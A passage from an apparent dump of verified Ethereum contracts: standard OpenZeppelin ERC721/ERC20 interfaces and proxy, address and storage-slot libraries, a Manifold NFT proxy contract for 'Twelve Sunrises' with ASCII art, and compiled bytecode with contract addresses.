renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106100745760003560e01c8063a5b3abfb1161004e578063a5b3abfb146100f9578063b103dd2914610119578063d7c48e7a14610139578063f2fde38b1461015957600080fd5b806357a858fc14610089578063715018a6146100bc5780638da5cb5b146100d157600080fd5b366100845761008234610179565b005b600080fd5b34801561009557600080fd5b506100a96100a4366004610aa7565b6102d5565b6040519081526020015b60405180910390f35b3480156100c857600080fd5b506100826102f6565b3480156100dd57600080fd5b506000546040516001600160a01b0390911681526020016100b3565b34801561010557600080fd5b50610082610114366004610990565b61035c565b34801561012557600080fd5b5061008261013436600461096c565b610439565b34801561014557600080fd5b506100826101543660046109bc565b610629565b34801561016557600080fd5b5061008261017436600461096c565b610700565b60008060005b6002548110156102cf5760006103e8600183815481106101a1576101a1610bcf565b9060005260206000200154866101b79190610b68565b6101c19190610b46565b6002549091506101d390600190610b87565b8214156101eb576101e48386610b87565b90506101f8565b6101f58184610b2e565b92505b6002828154811061020b5761020b610bcf565b60009182526020822001546040516001600160a01b039091169183919081818185875af1925050503d806000811461025f576040519150601f19603f3d011682016040523d82523d6000602084013e610264565b606091505b505080945050836102bc5760405162461bcd60e51b815260206004820152601460248201527f4661696c656420746f2073656e6420457468657200000000000000000000000060448201526064015b60405180910390fd5b50806102c781610b9e565b91505061017f565b50505050565b600181815481106102e557600080fd5b600091825260209091200154905081565b6000546001600160a01b031633146103505760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102b3565b61035a60006107db565b565b6000546001600160a01b031633146103b65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102b3565b6040517f23b872dd000000000000000000000000000000000000000000000000000000008152306004820152336024820152604481018290526001600160a01b038316906323b872dd90606401600060405180830381600087803b15801561041d57600080fd5b505af1158015610431573d6000803e3d6000fd5b505050505050565b6000546001600160a01b031633146104935760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102b3565b6001600160a01b0381166104df57600080546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156104db573d6000803e3d6000fd5b5050565b806001600160a01b031663a9059cbb6105006000546001600160a01b031690565b6040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038516906370a082319060240160206040518083038186803b15801561055857600080fd5b505afa15801561056c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105909190610ac0565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156105ee57600080fd5b505af1158015610602573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104db9190610a85565b50565b6000546001600160a01b031633146106835760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102b3565b80518251146106d45760405162461bcd60e51b815260206004820152600260248201527f216c00000000000000000000000000000000000000000000000000000000000060448201526064016102b3565b81516106e7906002906020850190610838565b5080516106fb9060019060208401906108aa565b505050565b6000546001600160a01b0316331461075a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102b3565b6001600160a01b0381166107d65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102b3565b610626815b600080546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b82805482825590600052602060002090810192821561089a579160200282015b8281111561089a578251825473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909116178255602090920191600190910190610858565b506108a69291506108e5565b5090565b82805482825590600052602060002090810192821561089a579160200282015b8281111561089a5782518255916020019190600101906108ca565b5b808211156108a657600081556001016108e6565b600082601f83011261090b57600080fd5b8135602061092061091b83610b0a565b610ad9565b80838252828201915082860187848660051b890101111561094057600080fd5b60005b8581101561095f57813584529284019290840190600101610943565b5090979650505050505050565b60006020828403121561097e57600080fd5b813561098981610bfb565b9392505050565b600080604083850312156109a357600080fd5b82356109ae81610bfb565b946020939093013593505050565b600080604083850312156109cf57600080fd5b823567ffffffffffffffff808211156109e757600080fd5b818501915085601f8301126109fb57600080fd5b81356020610a0b61091b83610b0a565b8083825282820191508286018a848660051b8901011115610a2b57600080fd5b600096505b84871015610a57578035610a4381610bfb565b835260019690960195918301918301610a30565b5096505086013592505080821115610a6e57600080fd5b50610a7b858286016108fa565b9150509250929050565b600060208284031215610a9757600080fd5b8151801515811461098957600080fd5b600060208284031215610ab957600080fd5b5035919050565b600060208284031215610ad257600080fd5b5051919050565b604051601f8201601f1916810167ffffffffffffffff81118282101715610b0257610b02610be5565b604052919050565b600067ffffffffffffffff821115610b2457610b24610be5565b5060051b60200190565b60008219821115610b4157610b41610bb9565b500190565b600082610b6357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610b8257610b82610bb9565b500290565b600082821015610b9957610b99610bb9565b500390565b6000600019821415610bb257610bb2610bb9565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461062657600080fdfea26469706673582212204dbbae2312b7497c4f303edfca4c14e05ed53e42c079b07d40de1c18b5579eab64736f6c63430008070033
[ 16, 12 ]
0xf276be0198ce7b6cec84c3270c02314a1f49808f
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Twelve Sunrises /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // MMMWNXXKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKXXNWMMM // // MWNXKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKXNWM // // WXKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKXW // // XKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK0OOOO0KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKX // // KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK000KKKKKKKKKKK0OxxxxO0KKKKKKKKKKK000KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK // // KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK0OkkO0KKKKKKKKK0kxxxxk0KKKKKKKK00OkkO0KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK // // KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK0kxxxkO0KKKKKK0kxxxxxxO0KKKKKK0Okxxxk0KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK // // KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK0Oxxxxxk00KKKKOxxxxxxxxOKKKK00kxxxxxO0KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK // // KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK0OxxxxxxkO0KK0kxxxxxxxxk0KK0OkxxxxxxO0KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK // // KKKKKKKKKKKKKKKKKK00OO000KKKKKKK0kxxxxxxxkO0OxxxxxxxxxxO00kxxxxxxxk00KKKKKK000OO00KKKKKKKKKKKKKKKKKK // // KKKKKKKKKKKKKKKKKK0kxxxkkO00KKKK0kxxxxxxxxxkkxxxxxxxxxxkkxxxxxxxxxk0KKK000Okkxxxk0KKKKKKKKKKKKKKKKKK // // KKKKKKKKKKKKKKKKKK0OkxxxxxxkOO000kxxxxxxxkkOO0000000000OOkkxxxxxxxk000Okkxxxxxxk0KKKKKKKKKKKKKKKKKKK // // KKKKKKKKKKKKKKKKKKK0OkxxxxxxxxkkOkxxkO00KXXNNNNNNNNNNNNNNXXK00OkxxkOkxxxxxxxxxk00KKKKKKKKKKKKKKKKKKK // // KKKKKKKKKKKKKKKKKKKKK0kxxxxxxxxxxkO0XXNNNNNNNNNNNNNNNNNNNNNNNNXX0Okxxxxxxxxxxk0KKKKKKKKKKKKKKKKKKKKK // // KKKKKKKKKKKKKKKKKKKKKK0kxxxxxxxk0XNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNX0kxxxxxxxk0KKKKKKKKKKKKKKKKKKKKKK // // KKKKKKKKKKK0000000KKKK00Oxxxxk0XNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNX0Oxxxxk00KKKKK000000KKKKKKKKKKK // // KKKKKKKKK0OkkkkkkkkOOOOOOkxk0XNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNX0kxkOOOOOOOkkkkkkkO0KKKKKKKKK // // KKKKKKKKK0OkxxxxxxxxxxxxxxkKNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNKkxxxxxxxxxxxxxxkO0KKKKKKKKK // // KKKKKKKKKK00OkxxxxxxxxxxxOXNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNKOxxxxxxxxxxxkO00KKKKKKKKKK // // KKKKKKKKKKKKK00OkxxxxxxxOKNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNKOxxxxxxxkO00KKKKKKKKKKKKK // // KKKKKKKKKKKKKKKK0OkxxxxkKNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNKkxxxxkO00KKKKKKKKKKKKKKK // // KKKKKKKKKKKKKKKKKK0Okxx0XNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNX0xxkO00KKKKKKKKKKKKKKKKK // // KKKKKKKKKKKK0000OOOkkxkKNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNKkxxkkOOO0000KKKKKKKKKKK // // KKKKKKK00OOkkkxxxxxxxxOXNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNXOxxxxxxxxkkkOO00KKKKKKK // // KKKKKK0OxxxxxxxxxxxxxxOXNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNXOxxxxxxxxxxxxxxO0KKKKKK // // KKKKKK0OOkkxxxxxxxxxxxOXNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNXOxxxxxxxxxxkkkO00KKKKKK // // KKKKKKKK0000OOOkkkxxxxkKNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNKkxxxkkkOO00000KKKKKKKKK // // KKKKKKKKKKKKKKKK000Okxx0NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN0xxk000KKKKKKKKKKKKKKKKK // // KKKKKKKKKKKKKKKKK0OkxxxOXNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNXOxxxkO00KKKKKKKKKKKKKKKK // // 0000000000000000Okxxxxxx0XNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNX0xdxxxxkO0000000000000000 // // llllllllllllllllccccccccloooooooooooooooooooooooooooooooooooooooooooooooooolccccccccllllllllllllllll // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract SUN12 is ERC721Creator { constructor() ERC721Creator("Twelve Sunrises", "SUN12") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212200b0c06d954076c18fc0c5ec74b5ce542b25018f7f2fb318a83fdc143190d833d64736f6c63430008070033
[ 5 ]
0xf276d76ce70347ff022b5536d3e12376a53a52e4
